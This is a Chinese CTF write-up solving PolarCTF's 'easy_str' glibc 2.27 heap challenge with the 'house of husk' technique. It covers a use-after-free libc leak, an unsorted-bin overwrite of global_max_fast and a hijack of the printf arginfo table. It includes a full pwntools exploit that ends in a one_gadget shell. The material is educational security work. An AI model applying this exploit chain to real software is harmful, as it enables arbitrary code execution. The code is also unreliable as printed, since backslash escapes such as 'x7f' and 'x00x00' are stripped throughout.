libc-2.27.so,标准large bin attack。
https://www.polarctf.com/#/page/challenges
很简单的增删改查,chunk_list在栈上。
看add(),v5限制了5个chunk,大小限制了>=0x500,也就是没有fastbin,只有largebin。
看free(),显然没有清除指针,UAF无疑。甚至也没有v5-1,所以这题只有5个chunk。add 5次之后,即使全部free也无法新增新的chunk了。
然后就是有个LABEL_17,只有free和exit才能触发。而代码是看似无用的printf(“%X”, 0LL);
这个就是明显的提示需要用house of husk。这条链子满足只能用largebin,和用printf触发。
https://www.anquanke.com/post/id/202387
libc是2.27,但是全部是largebin,不满足tcache的进入条件,所以全程都不需要考虑tcache的问题。
既然是UAF,先来最简单的unsortedbin泄露libc。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#patchelf --set-interpreter /home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so easy_str
#patchelf --set-rpath /home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ easy_str
sh = gdb.debug("./easy_str","b *0x555555554bc7nc")
#sh = process("./easy_str")
#sh = remote('120.X.X.X',2094)
elf = ELF("./easy_str")
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#libc = ELF("./libc-2.27.so")
libc_malloc_hook = libc.sym['__malloc_hook']
libc_main_arena = libc_malloc_hook + 0x10
libc_main_arena_N = libc_malloc_hook + 0x70
def add(size):
sh.sendlineafter("choice:","1")
sh.sendlineafter("size:",str(size))
def edit(index, content="AAAA"):
sh.sendlineafter("choice:","2")
sh.sendlineafter("id:",str(index))
sh.send(content)
def show(index):
sh.sendlineafter("oice:","3")
sh.sendlineafter("id:",str(index))
def free(index):
sh.sendlineafter("choice:","4")
sh.sendlineafter("id:",str(index))
#0x555555554b2b add malloc
#0x555555554bd9 show puts
#0x555555554b8d edit read
add(0x500)#c0
add(0x500)#c1
free(0)
show(0)
addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
print(hex(addr_main_arena_N))
addr_libc_base = addr_main_arena_N - libc_main_arena_N
print(hex(addr_libc_base))
sh.interactive()
泄露heap呢?只需要弄两个不相邻的chunk进行free,做双向链表即可。
add(0x500)
add(0x500)
add(0x500)
add(0x500)
free(0)
free(2)
show(2)
当然,show(0)也可以,只不过0x7ffff7dcfca0有x00,用edit填充8个A即可。
除此之外,也可以做largebin,同理也要edit填充16个A。
add(0x500)
add(0x500)
free(0)
add(0x600)
show(0)
使用fastbin劫持malloc_hook_addr-0x23我们已经非常熟练了。这题没有fastbin,能用unsortedbin劫持吗?
unsortedbin也可以做类似的攻击,但不能决定写入的值是多少,而是固定的addr_main_arena_N。并且写入之后unsortedbin链表会被破坏,导致无法再add chunk。
先看正常的add()free()add()
add(0x500)
add(0x500)
free(0)
show(0)
add(0x500)
如果我们将bk给篡改成global_max_fast,会怎么样呢。
libc_global_max_fast = libc.sym['__malloc_initialize_hook'] + 0x50
add(0x500)#c0
add(0x500)#c1
free(0)
show(0)
addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
print(hex(addr_main_arena_N))
addr_libc_base = addr_main_arena_N - libc_main_arena_N
print(hex(addr_libc_base))
edit(0,p64(addr_main_arena_N) + p64(addr_libc_base + libc_global_max_fast - 0x10))
add(0x500)
可以看到global_max_fast被成功篡改,但unsortedbin似乎并没有free(),此时再次add(0x500),就会报错了。
修改global_max_fast有什么用呢?它是释放chunk时判断chunk大小是否属于fastbin的标志,默认为0x80。unsortedbin攻击无法控制写入的值,所以用来篡改它正好将其篡改成一个很大的正数,至此,再free()任何chunk都将进入fastbin。
add(0x500)#c0
add(0x500)#c1
add(0x500)#c2
add(0x500)#c3
free(0)
show(0)
addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
print(hex(addr_main_arena_N))
addr_libc_base = addr_main_arena_N - libc_main_arena_N
print(hex(addr_libc_base))
edit(0,p64(addr_main_arena_N) + p64(addr_libc_base + libc_global_max_fast - 0x10))
add(0x500)#c4
free(1)
free(3)
可以看到,虽然gdb的heap插件无法帮我们分辨出来c1和c2,但0x500大小的chunk,free后只形成了单向链表,以此可以确定它们确实进入了fastbin。
free任意大小的chunk都可以进fastbin有什么用呢?答案是可以向main_arena+N写入chunk地址。
N=648,这个N怎么算出来的呢?
答案是0x500 = 648 * 2 – 0x10。
也就是说要往main_arena+N写chunk地址,就free一个N * 2 – 0x10大小的chunk就行了。
那么如何getshell呢?这就要利用到__printf_arginfo_table和__printf_function_table了,它们的libc地址和global_max_fast一样,要用附近的函数偏移出来。
libc_global_max_fast = libc.sym['__malloc_initialize_hook'] + 0x50
libc_printf_function_table = libc.sym['mallwatch'] - 0x18
libc_printf_arginfo_table = libc.sym['_IO_2_1_stdout_'] + 0x110
查看vfprintf.c源码。
其中__printf_function_table是为了过检测走到printf_positional()。
printf_positional调__parse_one_specmb
__parse_one_specmb执行了(*__printf_arginfo_table[spec->info.spec])
也就是说,我们篡改__printf_arginfo_table为chunk地址,最终就能走到这个chunk里的某个指针处。
我们先尝试篡改__printf_arginfo_table和__printf_function_table。很简单,提前add两个符合N*2-0x10大小的chunk,然后篡改global_max_fast,再依次free这两个chunk。
add(0x500)#c0
c1size = (libc_printf_function_table - libc_main_arena) * 2 - 0x10
add(c1size)#c1
c2size = (libc_printf_arginfo_table - libc_main_arena) * 2 - 0x10
add(c2size)#c2
add(0x500)#c3
free(0)
show(0)
addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
print(hex(addr_main_arena_N))
addr_libc_base = addr_main_arena_N - libc_main_arena_N
print(hex(addr_libc_base))
edit(0,p64(addr_main_arena_N) + p64(addr_libc_base + libc_global_max_fast - 0x10))
add(0x500)#c4
free(2)
free(1)
spec->info.spec具体是多少呢?跟printf(“%X”, 0LL);的X有关。我们可以用笨办法——规律字符串找出来。
print(cyclic_find(0x67616177))后发现是688,那么完整exp如下。
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
#patchelf --set-interpreter /home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so easy_str
#patchelf --set-rpath /home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ easy_str
#sh = gdb.debug("./easy_str","b *0x555555554bc7nc")
sh = process("./easy_str")
#sh = remote('120.X.X.X',2094)
elf = ELF("./easy_str")
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#libc = ELF("./libc-2.27.so")
libc_malloc_hook = libc.sym['__malloc_hook']
libc_main_arena = libc_malloc_hook + 0x10
libc_main_arena_N = libc_malloc_hook + 0x70
libc_global_max_fast = libc.sym['__malloc_initialize_hook'] + 0x50
libc_printf_function_table = libc.sym['mallwatch'] - 0x18
libc_printf_arginfo_table = libc.sym['_IO_2_1_stdout_'] + 0x110
def add(size):
sh.sendlineafter("choice:","1")
sh.sendlineafter("size:",str(size))
def edit(index, content="AAAA"):
sh.sendlineafter("choice:","2")
sh.sendlineafter("id:",str(index))
sh.send(content)
def show(index):
sh.sendlineafter("oice:","3")
sh.sendlineafter("id:",str(index))
def free(index):
sh.sendlineafter("choice:","4")
sh.sendlineafter("id:",str(index))
#0x555555554b2b add malloc
#0x555555554bd9 show puts
#0x555555554b8d edit read
add(0x500)#c0
c1size = (libc_printf_function_table - libc_main_arena) * 2 - 0x10
add(c1size)#c1
c2size = (libc_printf_arginfo_table - libc_main_arena) * 2 - 0x10
add(c2size)#c2
add(0x500)#c3
free(0)
show(0)
addr_main_arena_N = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
print(hex(addr_main_arena_N))
addr_libc_base = addr_main_arena_N - libc_main_arena_N
print(hex(addr_libc_base))
one = [0x4f2c5,0x4f322,0x10a38c]
#one = [0x4f2a5,0x4f302,0x10a2fc]
#edit(2,cyclic(1000))
#print(cyclic_find(0x67616177))
edit(2,"A" * 688 + p64(addr_libc_base + one[2]))
edit(0,p64(addr_main_arena_N) + p64(addr_libc_base + libc_global_max_fast - 0x10))
add(0x500)#c4
free(2)
free(1)
sh.interactive()
最后这个spec->info.spec = 688怎么来的,其实就是根据X=0x58,(0x58 – 2) * 8=688。
原文始发于微信公众号(珂技知识分享):web选手入门pwn(16) ——house of husk